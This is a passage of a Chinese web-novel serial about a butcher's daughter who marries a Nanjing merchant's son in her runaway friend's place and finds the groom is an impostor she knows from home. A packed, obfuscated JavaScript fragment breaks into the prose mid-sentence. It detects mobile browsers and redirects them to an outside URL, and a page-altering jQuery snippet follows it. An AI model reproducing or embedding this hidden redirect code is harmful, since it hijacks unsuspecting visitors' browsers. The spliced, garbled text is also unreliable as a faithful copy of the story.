待祝家那小厮应过神，忙来拉拽燕恪，燕钊趁势起身，主仆二人合力将燕恪反摁在地上，猛地一阵拳打脚踢。 直打得燕恪头破血流，燕钊方直起身，朝他脸上啐一口，“别以为你是我兄弟，我就不舍得要你的命，别叫我再看见你！” 主仆两个扬长而去，燕恪独自躺在巷里，背上又湿又冷，那一线天里渐有洋洋洒洒的飞絮，又是一场茫茫雪。 何从何去？ 一刹那间，他转定主意——上南京！ 六朝金粉逐波流，尽管南京城豪绅名士如过江之鲫，却是大浪淘沙，不信他燕恪混不出个名堂来！ 他挣扎扶墙起来，捱出巷子，抄近道直取码头。路经坠月崖，已是人烟绝迹。山路被雪盖着，湫窄蜿蜒，急转而下，稍不留神就恐滑坠下崖去。 燕恪提着心，挨着山壁走。走到个拐弯处，却见路旁那截枯枝上挂着片衣料，瞧着有几分眼熟。 去取来细看，是片月魄色衣料，纺着的鸟兽万寿藤，这纹样有些别致，他想起来，晨起曾在林隐客栈见那苏宴章穿着这料子的衣裳。 那苏宴章要乘船取道南京上京，难道也经此路？他握着布片，够着身子，直朝崖边望去，那崖下似乎躺着两个人。 忽地，乱山雪粉，风似急刀。天苍地茫间，似有风帆直立云海中。 雪作飞花，梨蕊落尽，四月里天才稍热起来。桐乡县还是老样子，尘烟入市，薄阳成金，街上摊贩日渐多了，姜家对过也添了个卖云片糕的，嵌着核桃，松软又有嚼头。 敏知买了些在手里，却仍望着长街上熙熙攘攘的行人发呆，只等童碧在对过铺子里喊她，她才回神过去，绕到屠案后头，与童碧并肩齐脑地坐着。 童碧扭脸瞅她，“你这丫头，怎的老是对着街巷发呆？” “没什么，就是看见这么些人来来往往的，想着他们要到哪里去，一想就入迷了。”她把云片糕递了块给童碧。 童碧手上腥气，不肯接，摇了摇头，望着街上一队慢慢拉板车的力夫，那车上摞着好些箱柜，用绳子捆着，像是谁家搬家，东西多得不得了。 人来人往，谁走谁留，没个定数，她也跟着叹了口气。 “姐姐，那燕恪还没回桐乡来？”敏知忽问。 “大概是不会回来了，他家的铺子没了，田地宅子也给亲戚们瓜分了去，一无所有，还回来做什么？”说着，童碧撇撇嘴，把脑袋有气无力地歪着，“罢罢罢！我也不是头回折银子，也不是头回上人家的当！” 敏知睐着她笑了，最喜欢她这凡事都能看开的潇洒劲头，“你上月不 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她当即提一把斩骨刀冲将出去，谁知那陈璧臣瞥见，一道烟已溜去老远。这人良心坏了，腿脚倒比从前麻利，童碧啐一口，只得作罢。 不想背后遽然撞来个人，她本来怄着火，泼口便骂：“你没长眼啊，路这么宽，偏往我身上撞！” 扭头一瞧，却是位年轻娇丽的小姐，穿着藕荷色衫子，玉白的裙，外头系着白绡斗篷，一双大眼睛四处滚动，却找不到目的，目光总也汇不到童碧脸上。 “大嫂，真是对不住，我不是有心的。” 这嗓音跟琴音似的，好听得紧，却将童碧险些一口气怄死过去。 管谁叫大嫂呢！ 不过细瞧一会，她再抬手在这小姐眼前晃晃，人家好像还真是看不见，她也不好计较。这里道声“不妨事”，让开路，正有个丫头跑来，搀着这小姐往前头那辆马车慢慢去了。 仍走回铺子里来，敏知迫不及待拉过她的胳膊，“才刚撞你那位，就是叶家小姐。” “什么叶家小姐？” 敏知啧了声，“就是当年害燕二郎吃官司那位！叶澄雨。” 原来是她，童碧又朝街上望去，那叶澄雨半低着脖子，行动轻盈随风，纤腰慢搦。只看后脑勺都看得出是位美人，燕恪当年怎么就生死不娶呢？ 那就是个天生负才傲物的坏胚子！多半是嫌人家眼睛残疾。 正自暗骂，忽然敏知家里那仆妇赵妈妈欢天喜地跑来了，连跳带笑拍着大腿道：“姑娘，苏宴章高中了！” 苏宴章高中进士，朝廷派了他个南京国子监监丞。这月中旬，他刚到南京，就被大富商苏家找回去认祖归宗了。 苏家前几日又打发人往嘉善县去接他老娘，只等易敏知嫁过去，就是和和美美的一个堆金积玉之家。 易老爹是个胖子，笑得没了眼缝，只把一个大红信封递给敏知看，“你瞧，人家日子都定下了，初三就来船迎你上南京，先在他们家另一所宅子里安顿下来，黄辰吉日一到，就八抬大轿迎你！” 童碧也跟着到了易家来，这会把脑袋凑在敏知肩头，一齐看那信。 看也不看懂，便悄声问敏知：“成亲是哪日啊？” 敏知脸上不见半点喜气，木讷讷地，“五月二十五。” “这么急？” 那仆妇赵妈妈笑道：“这还急啊？要不是苏相公忙着读书，早就该办了。说起苏相公，真是个好孩子，他母亲也不错。当初我和太太在船上碰见她，孤零零的一个女人，还怀着身子，我和太太就照料了她几日。太太和她说说笑笑，约定下将来各自生下儿女就结亲家。谁知她倒真没食言，即便如今儿子高中做官了，也认这门亲。” 那易老爹在旁笑得肉颤，“宴章到底是南京苏家的子孙，苏家是做大买卖的人家，生意场上就讲个信用，岂会失信？” “可怎么听见苏家来送信的那人说，宴章得了什么邪病？”易太太却有些疑虑，两眼睃着丈夫和婆子，“别是有什么诈吧？会不会宴章患了什么恶疾，说不上别的亲事，所以才想着咱们？” 不像啊，童碧暗里寻思，上回在林隐客栈她亲眼见过那苏宴章，温文尔雅，含蓄有礼，瞧着生龙活虎的，难道这两三个月的工夫，就发了什么急症候？ 6.006 据苏家打发来送信的小厮说，苏宴章是因上京路上摔了一跤，跌了脑袋，后脑勺淤着血，有些事不大记得了，一想就脑仁绞着疼。苏家急着迎敏知去，便是想冲一冲他这淤在后脑勺的血气。 易老爹呵呵笑道：“人还是好端端的，要是不好，能考中进士？朝廷也没道理派他官做啊。你别多虑，只管给姑娘收拾东西，家里没有兄弟，我亲自送她去，等婚事办完了我再回来。” 主仆三个在那里商量，陪嫁的东西是早就预备下了的，另要带些什么，添些什么，初三哪个时辰动身，说得有声有色。 突然敏知在门角把那信一把扬了，“我不嫁，谁定的谁去嫁他！” 连童碧也跟着身子一震，拉了拉她。却拉不住，敏知一径走到厅当中，瞪着爹娘，“我认都不认得什么苏宴章，都还没我这个人呢你们就把我胡乱定给人，要是他不好，是个缺胳膊少腿的呢？” 易太太笑嗔她一眼，“人家不是没有缺胳膊少腿么？风度翩翩，才高八斗，这不是没定错嚜。” 敏知冷笑，“在你们没错，在我就是错了！” 易老爹眼缝猛地一撑开，榻上下来，抬手就要打她。临了到底不忍心，空举着手，“你再胡说！人家还配不上你？人家是进士，又年轻，相貌又好，品行更是没得说，哪里不好？” 说着回头怨太太，“都是你，姑娘都给你惯坏了，专会对着干，好的也给她说不好，不就是为了忤逆爹娘？！” 老两口这便闹将起来，你埋怨我我埋怨你，敏知听得发烦，拉着童碧自回西厢闺房。 两个人坐在圆案前，童碧细窥她脸色不像是羞臊，敢情前头她说她心里喜欢了别人是真的？ 不得了，这事若放在她姜童碧身上倒不算什么，反正她是个粗野姑娘，爹娘本来就离经叛道，管她也管不好。可敏知不一样，家境殷实，是易老爹易太太娇惯长大的，礼义廉耻，易家条条讲究。 她想着要劝一劝，便搡了搡敏知的胳膊，“我是亲眼瞧见那苏宴章的，真格是不错，要人才有人才，要人品有人品，我不是同你说过的嚜，那天晚上我进他屋子，他连门都没敢关，半点没有逾矩。” 敏知蓦地扭过泪涔涔的脸，“你喜欢？那让给你。” 童碧笑叹，“我喜欢人家，人家不喜欢我啊。不是姐姐不仗义，我该使的招都使过了，人家就是不上勾。我和姓苏的是没缘分了，这正缘，还得是你。” “谁说的？”敏知把泪拭了，两手紧抓住她一只手，“姐姐，你代我去南京吧。反正你也喜欢他，他又没见过我，根本不知道我长什么样子。你嫁给他，就说你是易敏知，南京城没有认得你的人，谁敢说不是？” 这番话讲完，童碧下巴险些没掉在桌上。她呆了片刻，忙要抽开手。 敏知却攥得更紧了，两只眼睛盈盈盼着她，“姐姐，童碧姐！反正你也想有人替你主张婚事，不如就让妹子替你主张好了。咱们邻居这几年，我早把你当亲姐姐了！” 这丫头，哪来这么大气力。童碧终于抽出手，一下跳开八丈远，“你在说什么胡话？这可不是随便说的！” “我不是随便说说——” 讲真的？童碧益发心惊，眼睛吓圆了，“你这是让我骗婚！这可是要吃官司的！” “没人察觉，谁会送你去吃官司？” “你爹娘难道会不知道？”童碧又坐回她身旁，“你别发傻了，你爹才刚还说，要亲自送你上南京，我代你去，他先就让我吃官司！我可是犯过案子的人，再进监房，少不得就把我流放了，你忍心呐？！” 像是把敏知这忽然冒出来的傻念头劝住了，她不吱声了，静静坐着，眼泪轻罩在瞳孔上，锐利地闪了一闪。 往后几日，敏知再没提过这话，任由家里头忙着替她收拾，还给裁做了几身新衣裳。 童碧瞧过了那些衣裳，心里有些发酸，觉得敏知是身在福中不知福，那么好的苏宴章，不比外头结识的野汉子强得多？ 她还巴不得有人来替她强媒硬保呢。 及至初一那日，听说苏家派的船已到了码头上，易老爹将苏家来人都安顿在本县最奢华的一间客店里，明日人家来抬嫁妆，顺便来看敏知。 敏知倒没反对，只说后日一走，就是两地分隔，怕将来难见童碧，硬将童碧留在家歇了一夜。童碧反正在哪里都是睡，一口就答应下来。 初二天还未亮，敏知就先悄悄起身，摸黑打了个包袱皮蹲在床边借着一缕月光瞧童碧。童碧正睡得沉，高高弯着一条腿，微微张着嘴，那嘴角还淌着点口水。 敏知笑了，轻轻将她摇一摇，“姐姐，他来接我了，我要走了，南京还是你代我去吧，啊？” 童碧抬着手胡乱在空中扇一扇，哼了一声。 “你这就算答应了，童碧姐，你常说一言既出驷马难追，可不许反悔。” 童碧又迷迷糊糊“唔”了一声。 “那我这就走了，你保重。” 她闭着眼还笑呢，“去吧去吧。” 童碧正做着个梦，梦见她那死鬼老爹姜芳禧，变作年轻时候的模样，在林荫小道上扛着把大刀望着她笑，嘴里衔着根狗尾巴草，露着两颗虎牙，恣意纵情，意气风发。 只等童碧上前，他把嘴里的狗尾巴草取来递给她，“童儿，爹在阎罗殿替你向阎罗爷求了桩婚事，你就要嫁人了，这是爹给你的嫁妆。” 果然她爹办事没谱子，童碧杏眼怪睁，“那索命鬼能给我配什么好亲事！再说您这嫁妆也太寒碜了！我娘呢？” 姜芳禧仰起头，原来她娘常月娥正坐在那树枝上，一样年轻得很。 月娥朝下剜了芳禧一眼，同童碧道：“你可当心，男人都是大骗子，我们护不了你了，我们这就得上路了。” 童碧一声叹息，把手一摇，“去吧去吧。” 日斜纱窗，她睁眼醒来，只当这梦是个好兆头，说不定过些时日她也真该遇到自己的好姻缘了。她拿被子罩住脸，笑嘻嘻在床上打个滚。 咦，床怎的这般宽敞？ “敏知妹子跑了！” 易太太先不信，到房里来翻箱倒柜一阵，不见了敏知的衣裳首饰，还有她自己素日积攒的几十两体己钱。又逢那赵妈妈跑来说，后院那门不知为何开着，易太太这才信了。 三个人忙前后街打听，不想敏知走得早，街坊四邻那时都没起，谁都没瞧见朝哪头去了。问了半个时辰，三个又垂头丧气回来，坐在堂屋猜来猜去。 易太太止不住地在榻上淌眼抹泪，“别是进了强盗，把敏知掳去了！” 赵妈妈忙劝，“不会，童丫头和咱们姑娘睡在一起，童碧姑娘会拳脚，那样大的力气，一般的强盗可敌不过她。” 童碧听见说到自己，愣愣回神，“敏知妹子好像是同人私奔了。前些时，我听她提起过，她说她不喜欢苏家那门亲事，有了喜欢的人，只是没说是谁。” 闻言，易太太一时呆在座上，脑子连转了好几圈，终于想起这么个影子来。 不错，是有这么个小子，从前常上他们家店里买布料，偶尔敏知帮着看铺子，一来二去，同他说过好些话。 她立刻和童碧道：“童丫头，你去房里，把她床上挂的那个鹅黄香袋给我取来。” 这厢童碧刚去，那厢易老爹便领着苏家的两个管事婆子来家了。 易老爹邀着苏家两位妈妈进来小厅上，请了坐，捧着肚子笑呵呵同易太太道：“敏知呢？快叫她到厅上来，苏家两位妈妈来瞧她，顺便把她的东西先搬到船上去。” 易太太赵妈妈你看我我看你，不知如何作答。 易太太心知她丈夫的脾气，疼女儿是疼的，可真动了气，打也打得。再说他素日就盼着和南京苏家攀亲，这时候要说婚事办不成，他如何甘心？还不把敏知的皮揭了。 还有一点要紧，要给苏家这两个婆子知道敏知跑了，落笑话事小，吃官司事大。 她刹那间把这辈子的脑筋都转了八百个来回，正不知如何开交，只见童碧进来，忽地灵光一现，将童碧拉到苏家婆子跟前，笑道：“她！她就是我家姑娘敏知！瞧，特地换了身簇新的衣裳，就为今日见两位妈妈。” 两个婆子且看新娘子，哪里留心到易家人一惊一乍的神色。见童碧一脸惊诧震恐，只当她是小家子没见过世面，倒也没计较，照样拉着她一番恭维奉承。 易老爹同易太太在后头嘀嘀咕咕，那易老爹尽知原委，肚里早有一把火烧起来，生等应酬完苏家婆子，将东西装了车，方折进家来兴师问罪。 “你们怎么不好生看着她？！跟人私奔，传出去我这脸皮还要不要？你做娘的，脸也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912890|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没处搁！” 易太太道：“谁知道她憋了这些天，竟打的这个主意！这会你别跟我扯什么做爹的做娘的，先说怎么办？往何处去寻！明日苏家的船就走，如何向苏家交代？！” “交代个屁！定了亲的姑娘，跟野汉子跑了，苏家难道不要脸面？哼，到时候上衙门打官司，我吃不了兜着走！你知不知道苏家老太爷什么手段？那可是只笑面虎，同他交手做生意的人，谁敢惹他？” 唬得易太太又是个涕泪交颐，“那你说怎么办？” 易老爹蹒着步子朝榻上走，走了半晌才走到，回身把童碧又瞅了半晌。 童碧心里被他瞧得发毛，扭头就要回家去。却被易老爹赶来一把拉住，“童丫头，我们易家素日待你好不好？” 不消讲，他们姜家刚搬来那阵，最先熟识的就是他们易家。易老爹常与姜芳禧一处吃酒，易太太也常同常月娥拉家常。易家开布店，积了些碎布头，都拿来给姜家，两家人处得近亲一般。 “童丫头，你爹在世的时候，是义字当头，义薄云天的一个好汉子！虎父无犬女，你也是个仗义的姑娘！从前你和敏知一处玩耍，她受人家欺负，都是你替她打架出头。这回，还承望你周全她！” 那姜芳禧常教童碧，江湖儿女，定以义气当先。再一寻思，横竖那苏宴章当得上是位翩翩君子，嫁谁不是嫁，怎么嫁不是嫁？ 再说上回林隐客栈内在他跟前失了面子，有什么说的，现今就去找回！ 按易老爹的计策，当即立下书契，将童碧认作干女儿。即便将来事发，苏家要告，有了这契，在官府也有分辩周旋的余地。 于是这般，定下明日照旧启程南京，一面这头再暗暗寻敏知归家。 初三这日，谋定吉时，易老爹亲自送“女”出嫁，童碧早早便换了身簇新衣裳，十年难得穿一回绫罗锦缎，今日穿上，不由得摸了又摸，心满意足向她爹娘的牌位郑重磕头。 及至码头，只见一艘长约四丈，宽约一丈，高八尺的浅船，有二层船楼，桅杆上挂有“苏”字旗号。听易老爹说，这是苏家自己的船，所以才直抵桐乡县来接人。 船上除水夫外，共六名仆从，有男有女，管事的便是昨日那两位妈妈，还有位年轻仆妇，专管服侍童碧。童碧给这些人近近盯着，又在易老爹提点之下，硬着头皮装了半个月娴静。经多少古道烟村，青山碧水，总算抵至南京。 至苏家一所宅子里，早有老总管领着几名下人迎在门前。那老总管也有五十来岁了，穿的是绫罗，戴的是珠玉，气度上可比人家的老爷。 这老总管一脸和气地同易老爹寒暄，引着众人进门，“这宅子一向空着，前几日才收拾出来，易老爷舟车劳顿，在这里先安心歇两日，过几日大宅子里自有人来打理婚礼事宜。这些婆子小厮们，只管使唤，往后就是一家子了，千万别客气。” 说话间，进来厅上，叫来两个小丫鬟，指着道：“这是小楼，这是梅儿，特挑来给姑娘使唤，到时候陪着姑娘一道进大宅里去。” 这梅儿只十五岁，小楼十七，两个都是苏家大宅子里新买的，教导了几日，就拣来派给童碧充陪嫁丫鬟。两个人学了大家的规矩，端茶递水，殷勤入微。 童碧却拉她二人到里间坐了，忙问苏宴章的境况：“听说苏宴章把脑袋摔坏了，有没有这回事？” 小楼笑道：“上京时候路上滑，不小心滚到山下去了，听说跟去的书童也摔死了。不过姑娘放心，我们三爷没什么大碍，只是从前一些小事不记得了，想时便脑袋疼。” 由不得童碧不高兴，拍手笑道：“好好好！” 没准苏宴章连林隐客栈的事也不记得了，这下好了，省得编许多瞎话去哄他。扯谎就怕扯得远，远起来就不免前言不搭后语，有被拆穿的风险。 梅儿歪着脸瞅她，“宴三爷摔伤了，姑娘这么高兴呀？” “不是没什么大碍嚜，自然高兴。”她翛然起身，反剪着手绕着那张圆案打转，转着转着，忽地敛起眉头，“他的脸可摔坏哪里没有？” 小楼脸上泛红，羞赧摇头。 童碧仰着脖子笑，兜兜转转嫁过来，图的就是他那张脸，亏得没破了相。她一摇头，美滋滋“啧”了声。 这回一个子没花，白捡了个在世潘安，真格是运道来了，挡也挡不住。 7.007 日月一转，次日晴丽和风，早起用饭时，却听门房进来报，说是大宅里的宋姨娘领着人来给姑娘量身量，好裁做婚服。 易老爹忙搁住碗，也将童碧手里的碗抢来搁下，亲自领着她去迎。 童碧抹着嘴走在旁，并过脑袋问：“这宋姨娘是谁啊？” 易老爹亦歪过脑袋来，“就是苏宴章的亲生娘，先前住在嘉善县那位，名叫宋兰茉，原是苏家大老爷的外宅，不知怎的同大老爷闹得不好了，这宋兰茉就带着身子从南京走了，在船上遇见的你干娘。后来她去了嘉善县，在那里生下苏宴章，就安了家。” 那算是亲婆母，童碧少不得心起郑重，摸了摸鬓发，抻了抻衣裳。 易老爹劝她，“你也不必敬重过了头，大宅子里还有位大太太，那才是大老爷的正头太太，按理是宴章的正位母亲，要是给她晓得你待姨娘比待她敬重，恐怕要多心。” “这大户人家就是人多事多。”童碧又是摇头，又是点头，一时迷茫。这金陵之都，繁华是繁华，弯弯绕绕却多，真叫人无所适从。 “人多自然就嘴杂，所以你日后得留点神，别还像在家里一般胡闹。还有你那两把刀，我得收了，又不杀鸡宰鹅了，留着它做什么？” 童碧圆眼一睁，“我留着防身的！” “你这丫头！我饶你那两箱陪嫁，还不够你防身的？这光天化日的，有谁要害你性命不成？” 这一胖一瘦，一老一少，并头搭脑地说着话迎至仪门前。只见大门那横巷里乌泱泱行来七.八个仆妇，当中簇拥着一位葳蕤妇人。易老爹一看，当下眼睛便直了。 看那妇人，拄着根漆得油亮温润的细拐杖，身量纤纤，面如菡萏，眉含翠岫，眼横秋水，虽有些年纪，却风韵袅袅，恰似风月中的女杀将，情场上的勾魂差。 童碧凑来咕哝，“这么年轻就拄拐，腿脚不好？” 易老爹摇一摇头，“看着年轻，算一算今年有四十了。”说罢，隔得老远便作揖唱喏。 那宋兰茉瞧着只三十五.六岁的模样，只是鬓边的确有几丝白发。人说娶妾娶色，想她年轻时候，大概有倾城之貌，怪道当初被苏家大老爷养做外宅。 不过谁家的小妾如此大排场？这么些人服侍，左右皆有人搀扶。 不想兰茉只向前行了两步，便将胳膊挣开，将手中细拐忽地朝前一点，眼珠子朝天上一抬，哆哆嗦嗦点着细拐摸索来童碧跟前。 童碧心中猛然一惊，敢情这宋兰茉是个瞎子！ 兰茉稍与易老爹回了个礼，便抬手来摸童碧的脸，摸着眼眶就笑了，“真是个标致丫头。”说着，又捏住童碧的下巴颏，“就是不知牙口如何——” 瞧牙口？当是牙子买丫头呢？ 兰茉似乎亦觉失礼，摇撼着手讪笑，“嗨，咱们别在这里傻站了，进屋去说。” 这厢进屋，说几句家常，宋兰茉便命老少两个裁缝替童碧量身。 礼服繁琐，易老爹只怕半个月内不能裁好。兰茉身后那婆子却轻藐笑道：“我们苏家有的是裁缝师傅，夜赶做，就是做皇帝老爷的龙袍，七.八日也做得出来。” 易老爹只得讪讪称“是”。 这婆子一开口，兰茉便忙笑着引介，“这是我们大太太的陪房江妈妈，如今我们一房的事，都是她老人家协助大太太管着。” 随即缄默下来，只听这江婆子说。 这婆子说了些南京的嫁娶风俗，又说了些苏家的规矩。半日下来，童碧与易老爹听得晕头转向，那宋兰茉反比二人听得认真，满面精神，连连点头。 赶在午饭前，兰茉又携裁缝仆妇告辞去了，上了软轿，一径回苏家大宅。 这宅子修得张扬显赫，好似官邸。兰茉归到院中，到正屋里回了大太太，便欲回房。点着细拐还未走出内间碧纱橱，就听榻上那大太太轻唤了声：“回来，我还有话说。” 兰茉心一跳，顿住脚，两眼朝上一翻，又点着细拐摸索回榻前。 这大太太无非是交代她些婚礼细则，别的再没有了，仍叫她自去，一双眼睛却紧盯着她的背影，仿佛琢磨着些什么。 屋内只剩这江婆子，按时辰命丫鬟传来午饭，立在桌旁，布菜说话，“那易家姑娘模样虽标致，可行动说话，十分粗鲁无礼，没个教养，一顿单是白饭就能吃两碗。谁家姑娘像她那么能吃的？进屋时我瞧见了，桌上五六个菜，吃得精光！像是逃难来的。” 这大太太穆晚云，也是四十岁，细瘦身材，面皮蜡黄，略显憔悴，容貌平平，气度却十分端庄。 晚云挑着几粒米正往嘴里送，只等细嚼慢咽了，方轻笑：“小门小户家的姑娘，粗些就粗些，只等进门了慢慢教导就是了。能吃是福，这也不是什么坏处，只要别把身子骨吃坏了。还有别的什么没有？” 江婆子想一想，摇头，“别的也没什么，到底好不好，也不是这一日半日能瞧出来的。” 晚云却搁下箸儿斜起眼睇她。 江婆子适才想起来还有话回，眯起条眼缝，将上晌的一切细枝末节想了又想，“宋姨娘似乎也没什么异样。” “她从前在那宅子里住过两年，故地重游，就没提什么旧话旧事？” 这婆子摇头，“没说什么，那宅子翻新过，又换了装潢，再说她如今眼睛瞎了，也就没什么旧话说了。” 晚云凝眉忖度一会，自从打嘉善县接了这宋姨娘来，就总觉有哪里不对头，却又说不上来。反正近来烦心事一桩接一件，简直叫人不知打哪头理起是好。 她起身往榻上去，“宴章那头呢，头疼的毛病可好些了？” “见好些，这喜事倒没冲错，只是听说又着了些风寒。” 晚云一壁呷茶一壁寻思，好一阵也没寻思出什么苗头来。无论如何，宴章如今算是她儿子了，再有陌生隔阂，宋兰茉，苏宴章，如今同她都是一房，一条船上的人。 “你把那些进补的药，多拣些给他吃。新娘子马上就要进门了，别弄得病病殃殃的，让人笑话。” 到二十五这日，众人都瞧着宴三爷的头疼病好了许多，风寒也见好了，换了新郎官的大红袍，乌纱帽，骑在马上，行在队伍前头，真格是精神抖擞，风华正茂，郎艳独绝，世无其二。 苏家迎亲的队伍恨不得游遍整个南京城，街市上兜转近两个时辰，方掐着吉时，来到那小宅迎新娘子。 四更天童碧也起身装扮了，凤冠霞帔，都是顶好的料子，只是穿鞋时被扎在鞋底里的一根细针扎了脚。她皮糙肉厚，也不妨碍，仍欢欢喜喜穿戴好了，在屋里坐等。 听见外头来了好些人，鼓乐喧阗，贺声鼎沸，也不知谁是谁，反正自有易老爹去应酬他们。新娘子规矩多，不许随便走动，她在这小宅子里等了半日，到苏家大宅子里，又坐半日，坐得屁股疼。 总算捱到黄昏 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俗话说，他乡遇同乡，抬手两耳光，当下燕恪尚未回神，童碧便提着裙子跳在床上，左右开弓，照着他两边脸上各狠狠掴了两巴掌，“你这贼猪狗！还我钱来！” 燕恪被掴得晕头转向，定下神来，忙将两眼不知所谓地一转，一双黑靴却不觉倒退，“什么钱？” “林隐客栈内你诓骗了我三十两，还同我装傻？”童碧咬牙切齿，慢慢紧逼，蓦地一拳出手，直将他打得跌坐回圆凳上。 “贼猪狗，连本带利，你还我一百两，此事就能了结。如若不然，你死我活！”她弯着腰，指定他的鼻子。 燕恪鼻子里淌下血，顾不得擦，讪讪一笑，“什么林隐客栈？我怎么不记得这回事？” 说着，却将眉头紧皱，扶着脑袋叫声哎唷，“我这头又疼起来了，哎呀！我怎么一点都记不起来了——春喜，快拿安神补脑丸我吃！” 童碧一把揪住他圆领袍的襟口，“你忘了，哼，姑奶奶可忘不了！这笔账倘不讨回，将来死了，无颜见爹娘！今日必打你个血肉横飞，祭奠我那颗被你辜负的仁义之心——” 说话间掉转身，走去将晨间抬过来那口装细软的箱笼打开，丢出衣裙，翻出把斩骨刀，褪了羊皮刀鞘，回头一瞪，杀气腾腾。 燕恪见装傻不成，忙跳到案后，扶着案沿左右闪躲，“姜姑娘，有话好说嘛！怎么说咱们也是同乡，此刻异地重逢，该惺惺相惜才是，兀的动刀动枪？” 童碧头上冠子摇摇晃晃，一面乱扶，一面提刀将他指着，“当初我饶你两回，你却恩将仇报，还有什么好说的？我再信你这贼狗的鬼话，我就不姓姜！” 燕恪自从冒名顶了苏宴章进了苏家大宅，本以为前尘往事散如烟云，不想那苏宴章原来早就定下了一门娃娃亲，那人却与他同是桐乡县人氏。 他唯恐被同乡认出来，踌躇多日，今日只得硬着头皮迎亲，侥幸想，兴许这易家人根本不认得他，这才打定主意来掀盖头。 有道是冤家路窄，不想盖头底下，却是这姜童碧！ 不过，眼下她的确不姓姜了，婚贴上分明写的是“易敏知”的芳名，她这新娘子，也是身名不正。 一时燕恪拿住这点，平复下来，将脸上的血擦了，立在案后，一拂袖间，双目射出威严，“你早就不姓姜了，改姓了易。你冒用易家小姐的名讳嫁入苏家，说！是何企图！” 8.008 一句问得童碧哑口无言，方想起来，眼下自己是鱼目混珠。更兼燕恪那威严肃穆的神色，真有些当官的气度。她自幼跟着爹娘避官府，又坐过监，对官府中人，本能有些惧怕。 再则，真把阵仗闹大了，恐被苏家兴师问罪。 她眼珠子慢慢转着，握刀的手有两分松懈，“你你你你，你也是个假冒的！你又有什么意图？” 燕恪不怕她问，就怕她不问，她问他答，话一说长，她那气性不就能渐渐消了？ 他心下暗松口气，“欸，我这头就说来话长了，我是迫不得已。当时咱们林隐客栈分别，我就想到南京来谋个差事，谁知去码头的小路上，我竟碰见苏宴章主仆——” 他将当日在坠月崖的事备细说了，原来当日跌下崖去两个人，一个是苏宴章，一个是他的书童。当时燕恪千辛万苦爬下到崖下，原想瞧瞧能不能救活，谁知两个人身子早冷透了。 正要走时，却见周遭散着些文书，拾起苏宴章进京赶考的亲供结票等物，他便心思一动，将两具尸体就地埋了，携了苏宴章的东西上京。 他一面说，一面朝她捱步过来，趁她听得发愣，取过她手里的刀，搁在桌上，推去老远。 “我原本只是想借他的身份去考个功名，不曾想还真考上了，被派到了南京来任职，谁知他们苏家的人就找上了我，当我是苏宴章，叫我认祖归宗，我便来了苏家。好在苏家除了苏宴章的亲爹大老爷外，并没人见过他，偏巧那位大老爷七.八年前就死了，我只能将错就错。” 正说着，才刚听见些吵闹声的婆子蓦地在外头敲窗户，“三爷，怎么了？” 他忙向童碧摇头示意，扭脸道：“没什么，新娘子饿了，我们找东西吃。” “是该饿了，新娘子一日没吃饭，三爷席上也只顾吃酒，可要饭吃？” 恰好听见童碧肚里咕噜响一声，燕恪便道：“端些来吧。” 听闻那婆子去了，他含笑自凳上坐了，“我当年吃了官司，被剥了功名，今生永不能再科考。可我是读了近二十年书，如何能甘心？所以冒了他的名，不过是不想辜负我一生所学，无非是想证明给自己看，我燕恪还是个有用之人。” 童碧听了半晌，瞥眼瞧他那自嘲的神色，不由得咕哝，“你怎么能没用呢，偷，抢，骗，你样样在行。” 说着，趁其不备，一把将他脑袋摁在桌上，两个拳头抡圆了，照着他背上一顿猛敲，“你说这些不与我相干，我只记得你诓骗了我三十两银子，我誓要报仇！” 燕恪神回采石场，好似那山上的石头雨点般砸下来，逃却没处逃。 真是要了命了，一坨接一坨，险些把他心肺砸出来，恐外头有人听见，他硬是挺住了一声不叫嚷。 只等她打够了，他朝前伸长胳膊，倒了盏茶吃了，喉咙里才缓过来。 他朝后扭过脖子，一开口，却仍呛得咳嗽，“你，你，你无非是为那三十两银子，我，我多，多还你便是！” 童碧由后头弯腰，俯下笑脸，“真的？你早说啊，早说我就少捶你两拳了。” “你给我机会说了？”他揉着心口缓慢起身，捱去床前，由床底下拽出个半大箱子打开，“这里有二百两，都给你，你也打了我了，从前的事，能不能两清？” 童碧一看那些白花花的银子，却突然不见了笑脸，“这不是你的钱，你是拿宴章的银子还你自己的债。你拿人家的银子装大方，我不受你的，有本事，你用自己的钱还我。” 她倒还真不贪财，燕恪背上虽还痛着，心里却有些欣慰。 不论如何，同她算是“他乡遇故知”，何况这位“故知”虽粗鄙野蛮，却是个心善之人。 他蓦地觉得似又回到嘉兴城外那片林子，与她冒着风雪在山路上走，行步艰难，一种“同是天涯沦落人”的亲切。 他歪眼睇着她微笑，“我如今是国子监监丞，每月有俸禄，可以攒钱还你。不过，你得等。” “等多久？” “每月薪俸五两，你算算。” 即便只还三十两，也得半年工夫呢。童碧才没那心思同他耗在这里，果决往外走，“谁等你？一年后我到南京来收钱。利息嚜，便宜你了，后年来收！” 走到外间，拉开房门，梅儿小楼还有个年纪大些的丫头端着饭菜正要进来。 那年纪大些的笑道：“三奶奶，你冠子都要掉下来了。来，我先替你卸了吧，你好吃饭。” 这便又将童碧拉回卧房里去，在床头那妆台前，摁着她坐下，“我叫春喜，是服侍三爷的，今日三奶奶进来了，往后我就听三奶奶吩咐了。” 说话轻卸下童碧的凤冠，一看宝髻上的钗簪也歪歪斜斜要掉了，就说要替她梳头。 童碧哪惯服侍，忙歪过脑袋回头瞅她，“我自己来好了，你们去歇着吧。” 春喜扭头看看燕恪，想着新婚夫妻有的是话要说，便罢了，“我们就在外头，爷奶奶吃完了说一声，我们进来收。” 童碧听见窸窸窣窣一阵脚步声，外头阖了门。就在廊下守着，还如何走？她们问起来，又如何说？想来发烦，便没好气把钗簪都扯了，朝镜中一看，燕恪正在后头偷摸窥她。 碰上她的目光，他便把眼撤了，掉过身去，“你又是因何顶着易敏知的名字嫁到姜家？” 童碧自顾往外走，“边吃边说。” 